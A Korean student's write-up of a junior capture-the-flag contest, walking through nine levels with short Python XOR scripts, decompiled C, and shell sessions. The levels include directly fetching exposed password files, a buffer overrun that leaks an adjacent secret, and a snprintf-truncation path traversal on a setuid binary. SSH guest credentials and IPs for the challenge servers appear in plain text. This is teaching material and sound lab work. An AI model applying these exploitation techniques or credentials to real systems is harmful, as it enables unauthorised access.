Junior CTF Write-Up 서울대원고등학교 404error[ 현성원 ]
Result 대회종료후 1 ~ 10 위까지의 Score Board.
Level0 문제 : 자, 이제부터해커테스트를시작하겠습니다! 본과정은실제작전인 " 본선 " 을위한사전테스트입니다. 따라서어느정도의실력만갖추고있다면크게어렵진않으실겁니다. 위메뉴들중 " 대회규칙 " 을꼼꼼히 읽어주시고, 특히부정행위는엄격히 금지된다는점을명심해주십시오. 대회규칙을모두확인했다면 아래입력폼에 " 확인 " 을입력하십시오. Flag : 확인
Level 1 자, 그럼첫번째문제입니다. 우선아주간단한문제부터내볼까요? 로봇들은종종암호문을이용하여통신을합니다. 하지만그방식은모두과거에우리인간들이만든알고리즘이죠. 심지어고대의암호방식을그대로사용할때도있습니다. 다음의암호문을한번해석해보십시오. HQGOHVVURERWZDU 고대암호중 Vigenère 가있는데디코딩을해주는페이지가있다. 주소 : http://smurfoncrack.com/pygenere/ Length of codewords to try: 1 로설정해두고복호화시킨다 Flag : ENDLESSROBOTWAR
Level2 다음은리버싱실력을확인하는문제입니다. [ 다운로드 ] 위바이너리를분석하여인증루틴의작동원리를밝혀내보세요. 인증성공에사용되는값이바로정답입니다. 처음윗부분에서입력한값을받고한글자씩 0x99와 xor 하면서비교하고있다. 원본값 xor 0x99 = 암호화된값 이므로 암호화된값 xor 0x99 를하면원본값이나올것이다. 간단한스크립트를작성하여문제풀이를진행했다. #ctf_2.py encrypted = ("\xf1\xfc\xf5\xf5\xf6\xb9\xf3\xec\xf7\xf0" "\xf6\xeb\xb9\xf1\xf8\xfa\xf2\xfc\xeb\xea") plaintext = "" for i in range(len(encrypted)): plaintext += chr(ord(encrypted[i])^0x99) print plaintext C:\Users\sweetchip\Desktop>ctf_2.py hello junior hackers Flag : hello junior hackers
Level 3 http://115.68.24.145/junior_ctf/policy_chal/ 에 접근하여 ID 와 Password 를획득하세요. * 여러분이시도할수있는 ID는 admin_1000 부터 admin_9999까지존재합니다. ( 자유롭게 1000 부터 9999 중에하나를선택하세요. 예를들어 admin_7777, admin id 1000~9999 중하나만선택해서알아내면됩니다. 모든 id의 password를알필요는없습니다. * 이는여러사람이동시에풀었을때 서로방해받지않도록하기위함입니다. 주어진링크를들어가보면원본 php 소스파일이들어있다 <!--login_ok.phps--> <?php $id = $_GET['id']; $pass = $_GET['pass'];... 생략... $fp = @fopen("./id_pass_db/". $id. "_pass.txt", "r");... 생략...?> if($pass == $real_password) echo "Congrats! You got the password: $pass"; include "../../../key.php"; exit(0);... 생략...
먼저 id와 pw를인자로받고 $fp = @fopen("./id_pass_db/". $id. "_pass.txt", "r"); 이부분에의해인자로넘겨진아이디와합쳐진다. 그리고저파일을열어패스워드를받아오고사용자가입력한패스워드와일치한다면통과시키고 Key를출력한다. 예를들어 id를 admin_1207 로입력한다면./id_pass_db/admin_1207_pass.txt 파일을열어패스워드를받아올것이다. 소스분석이완료되었으니실제로요청을했다. http://115.68.24.145/junior_ctf/policy_chal/id_pass_db/admin_1207_pass.txt 243 243 이라는패스워드를얻었고이제다시로그인페이지로돌아가서아이디와비밀번호를입력하면된다. 하지만대회가끝난후 1207번호는너무많은시도로인해아이디가 block 되어있어서 admin_1208로재시도했다. // id = admin_1208, pw = 904 Congrats! You got the password: 904 The key is 'iamapolicyhacker' Flag : iamapolicyhacker
Level 4 자, 이제부터는쭈욱리눅스로진행됩니다. 리눅스사용경험이많길바랍니다. 이번문제는로컬문제이고바이너리를분석하여풀이를인증하기위한키를획득하세요. [SSH 정보 ] IP: 112.172.160.241 PORT: 2323 ID: guest_chaos Password: fpdkfgenius * 문제바이너리위치 : /home/chaos/chal 처음입력하고바로 Key 가나왔다. 아마 input 값이음수가돼야일정확률로킷값이출력되는것같다. guest_chaos@ubuntu:/home/chaos$./chal ----------------------------------- Let me know what UID you want to be (Except root UID - 0) UID: %s Ok.. you input -1217003520 UID Key: GoGoGoHackers! Flag : GoGoGoHackers!
Level5 역시리눅스로컬문제이고바이너리를분석하여풀이를인증하기위한키를획득하세요! [SSH 정보 ] IP: 112.172.160.241 PORT: 2323 ID: guest_money Password: greathacker 문제바이너리위치 : /home/money/chal void cdecl sub_80485c4(int a1, int a2) FILE *v2; // [sp+24h] [bp-2834h]@1 int v3; // [sp+28h] [bp-2830h]@7 int v4; // [sp+2738h] [bp-120h]@1 int v5; // [sp+2838h] [bp-20h]@1 v5 = 0; memset(&v4, 0, 0x100u); v2 = fopen("./secret_key", "r");.. 생략.. fgets((char *)&v5, 19, v2); fclose(v2); fgets((char *)&v4, 19, stdin); if (!strcmp((const char *)&v5, (const char *)&v4) ) system("echo you got me"); exit(0); while ( 1 ) gets((char *)&v3); // Vuln! memcpy(&v4, &v3, strlen((const char *)&v3)); printf("buf: %s\n", &v4); 서버에서바이너리가주어지고다운로드후 IDA로분석한다. 일단코드에서쓰레기코드부분이나필요없는부분은모두삭제시켰다. 개인적으로푼문제중이문제가가장어려웠던것같다.
분석을해보면시크릿파일을열고변수 v5에값을저장한다음, 사용자입력을받는데, 그입력값과 key가일치하면 you got me를띄워준다. 그뒤로 while문에들어가는데, v3에사용자입력을다시한번받고, memcpy로 v4에복사하고 v4를출력한다. 일단이프로그램의메모리구조는 [Data][v4][v5][Data] 이렇게되는데, fgets로 v3에넣고 memcpy로 v4에복사한다. 그리고 v4와 v5 사이에는초기의 memset으로 null문자가끼워져있으므로기본적으로 print를하면잘라지게된다. 그렇다면 v4에 v5바로직전까지데이터를삽입하면같은 v4로인식해서 Flag를출력할것이다. 간단하게다시설명하면 [Data] [v4 = user input and some nulls ] [v5 = flag] [Data] 의구조에서 [Data] [A*256 (no nulls)] [Flag] [Data] 로입력하면 Flag 도같이출력될것이다. guest_money@ubuntu:/home/money$./chal i dont know passkey bb buf: y bbnt know passke AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAADidYouLikeIt? Flag : DidYouLikeIt?
Level6 와우..! 잘하고계십니다. 다음바이너리역시분석하여풀이를인증하기위한키를획득하세요! [SSH 정보 ] IP: 112.172.160.241 PORT: 2323 ID: guest_monkey Password: awesomeboy 문제바이너리위치 : /home/monkey/chal int cdecl view(int a1) int v1; // eax@1 int result; // eax@6 FILE *stream; // [sp+28h] [bp-150h]@4 char s; // [sp+2ch] [bp-14ch]@6 char filename; // [sp+12ch] [bp-4ch]@1 int v6; // [sp+16ch] [bp-ch]@1 snprintf(&filename, 0x40u, "list/%s.txt", a1); // LOBYTE(v1) = issymbolic((int)&filename); if ( v1 ) puts("no symbolic file."); exit(0); stream = fopen(&filename, "rb"); if (!stream ) exit(0); memset(&s, 0, 0x100u); fgets(&s, 200, stream); printf("%s", &s); return result; Setuid가걸린로컬서버의바이너리를인자를넘겨실행하는방식의프로그램이다. 이문제도역시푸는데많은고민을했었는데, 문제의의도는 list 폴더에있는파일을읽는대신 flag 파일을읽는것으로추정하고코드를살펴봤다. 문제의코드는 snprintf 인데, 0x40바이트만큼읽는것이다. 그렇다면다음과같이생각해볼수있다 list/1.txt 시작점 64byte 제한점
목표는 Flag를봐야하는것인데, 따로필터링을하지않아서../ 도삽입이가능하다. 하지만뒤의.txt 문자열을없애야하는데고민끝에아이디어가생각났다. list////////////////////////////////////////////////////////////../1.txt 시작점 64byte 제한점 snprintf 에서는 64바이트만복사하게되어있으므로 64바이트이후엔잘리게된다. 그것을이용하여.txt를잘리게만들고원하는파일을읽을수있다. 적절하게문자열길이를계산한다음서버에입력한다. guest_monkey@ubuntu:/home/monkey$./../////////////////////////////////////////////////secret guest_monkey@ubuntu:/home/monkey$./..////////////////////////////////////////////////secret real cool secret./chal./chal *63 바이트일때답이나오는이유는끝에 null 문자가붙어서이기때문으로추정됨 Flag : real cool secret
level7 리눅스로컬문제이고바이너리를분석하여풀이를인증하기위한키를획득하세요! [SSH 정보 ] IP: 112.172.160.241 PORT: 2323 ID: guest_thepub Password: talentedgirl 문제바이너리위치 : /home/thepub/chal 역시마찬가지로문제서버에바이너리가존재한다. 바이너리를얻은다음분석했다. int cdecl sub_8048564() time_t v0; // ST34_4@4 int result; // eax@9 int v2; // ecx@9 unsigned int i; // [sp+28h] [bp-120h]@4 int v4; // [sp+2ch] [bp-11ch]@4 FILE *v5; // [sp+30h] [bp-118h]@1 int v6; // [sp+38h] [bp-110h]@1 char v7; // [sp+138h] [bp-10h]@4 int v11; // [sp+13ch] [bp-ch]@1 memset(&v6, 0, 0x100u); v5 = fopen("./secret_key.txt", "r"); if (!v5 ) puts("error: secret key file open."); exit(0); fgets((char *)&v6, 100, v5); fclose(v5); v0 = time(0); v7 = v0; v4 = 0; for ( i = 0; i < strlen((const char *)&v6); ++i ) if ( v4 == 4 ) v4 = 0; *((_BYTE *)&v6 + i) ^= *(&v7 + v4++); result = printf("buf = %s\n", &v6); return result;
간단하게바이너리를분석해보면킷값을읽고버퍼에저장한다음, 현재시간을 hex로바꿔서킷값과현재시간을 xor 연산하고출력하는프로그램이다. 그러므로연산당시의서버시간과연산으로나온암호화된값을다시 xor 연산하면원본문자열이나올것이다. 서버에서 netcat이설치되어있어서내서버로바이너리실행결과를보내서 dump하고, 서버시간을알아내서 xor하는스크립트를작성했다. 현재시간은 date를이용해서알아낸다. 오차가있을수잇으므로 1, +1 초도연산해본다. f = open("./a.dmp","rb") #buf dump file a = f.read() f.close() #\x1e\xe0\xb3\x08\x11\xf3\xa6\x06\x11\xfb\xa6\x14\x11\xf3\xa6\x5b b = "\x51\xf2\xb2\x59"[::-1] j=0 c = "" for i in range(0, len(a)): if j == 4: j=0 c += chr(ord(a[i]) ^ ord(b[j])) j = j+1 print "Flag : "+c ################################################################# J:\script>J:\script\1.py Flag : GRAYHATWHITEHAT Flag : GRAYHATWHITEHAT
Level8 리눅스로컬문제이고바이너리를분석하여풀이를인증하기위한키를획득하세요! [SSH 정보 ] IP: 112.172.160.241 PORT: 2323 ID: guest_paper Password: cleverpeople 문제바이너리위치 : /home/paper/chal IDA로파일을열면오류가뜨지만버전에따라서오류로인해죽는버전도있고그대로분석을성공하는버전도있다. 처음대회때사용한버전은그대로분석이되어서루틴을볼수있었는데, 추후에다른버전으로로딩시켜보니에러가났다. 그러므로서버에서 readelf 로살펴봤다 guest_paper@ubuntu:/home/paper$ readelf chal -a more readelf: Error: ELF Header: Out of memory allocating 0xc70804b0 bytes for 32-bit relocation data Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 한눈에봐도뭔가이상한값으로변조가되어있다는것을알고바이너리를받아서 WinHex 로연다음 0x12d0 지점에서 b0 04 08 c7을 b0 00 00 00 으로변경하고 IDA로로딩했더니몇번오류가난다음정상적으로로드되었고분석을시작했다. int cdecl main(int a1, int a2) void *v2; // edx@1 unsigned int v3; // ebx@1 char v4; // sp@1 int v5; // edi@3 int v6; // edx@3 void *v7; // edx@16 unsigned int v8; // ebx@16 char v9; // sp@16 int v10; // edi@18 int v11; // edx@18 int result; // eax@22 int v13; // ecx@22 unsigned int i; // [sp+20h] [bp-128h]@10
FILE *v15; // [sp+28h] [bp-120h]@16 int16 v16; // [sp+2eh] [bp-11ah]@1 int v17; // [sp+30h] [bp-118h]@2 signed int v18; // [sp+12eh] [bp-1ah]@1 signed int v19; // [sp+132h] [bp-16h]@1 signed int v20; // [sp+136h] [bp-12h]@1 signed int16 v21; // [sp+13ah] [bp-eh]@1 int v22; // [sp+13ch] [bp-ch]@1 v22 = *MK_FP( GS, 20); v18 = 1936287860; // v18 = 'siht'; v19 = 1601399135; // v19 = '_si_'; v20 = 1819044211; // v20 = 'llis'; v21 = 121; // v21 = 'y'; -> this_is_silly v2 = &v16; v3 = 256; if ( (v4 + 46) & 2 ) v16 = 0; v2 = &v17; v3 = 254; memset(v2, 0, 4 * (v3 >> 2)); v5 = (int)((char *)v2 + 4 * (v3 >> 2)); v6 = (int)((char *)v2 + 4 * (v3 >> 2)); if ( v3 & 2 ) *(_WORD *)v5 = 0; v6 = v5 + 2; if ( v3 & 1 ) *(_BYTE *)v6 = 0; if ( a1!= 2 ) puts("i need an argument."); exit(0); for ( i = 0; i < strlen((const char *)&v18); ++i ) *((_BYTE *)&v16 + i) = *(_BYTE *)(*(_DWORD *)(a2 + 4) + i) ^ 0x30;
if ( strcmp((const char *)&v18, (const char *)&v16) ) puts("don't match."); exit(0); v15 = fopen("./secret", "rb"); v7 = &v16; v8 = 256; if ( (v9 + 46) & 2 ) v16 = 0; v7 = &v17; v8 = 254; memset(v7, 0, 4 * (v8 >> 2)); v10 = (int)((char *)v7 + 4 * (v8 >> 2)); v11 = (int)((char *)v7 + 4 * (v8 >> 2)); if ( v8 & 2 ) *(_WORD *)v10 = 0; v11 = v10 + 2; if ( v8 & 1 ) *(_BYTE *)v11 = 0; fgets((char *)&v16, 100, v15); fclose(v15); result = puts((const char *)&v16); if ( *MK_FP( GS, 20)!= v22 ) stack_chk_fail(v13, *MK_FP( GS, 20) ^ v22); return result; 소스가이전보다많이길어져서그냥수정없이풀이에기록했다. 대충분석해보면실질적으로쓰이는부분은얼마되지않고대부분은분석을어렵게하는쓰레기코드이다. 높은버전의 IDA로분석해보면 strcpy로 this_is_silly를복사하고다른변수에저장한다. [ 아마헤더를정확히맞춰주면 strcpy가나올것이다.] 또밑으로내려가보면사용자가입력한문자열과 0x30으로 xor 연산하는것을볼수있는데, xor 한것과 this_is_silly를비교한뒤맞으면 key를출력하는방식이다. 그러므로 this_is_silly를 0x30과 xor 한다음그문자열을넣으면답이출력될것이다.
위를토대로문자열을 xor 시키는간단한스크립트를작성했다. a = "this_is_silly" b="" for i in range(len(a)): b += chr(ord(a[i]) ^ 0x30) print b C:\Users\sweetchip\Documents\for\script>2.py DXYCoYCoCY\\I ################################################################## guest_paper@ubuntu:/home/paper$./chal DXYCoYCoCY\\\\I wow ultra secret 하지만인증이안돼서 \ 를 \\ 로입력했더니인증이되었다. 아마 \\ 를 \ 로인식하기때문인것같다. Flag : wow ultra secret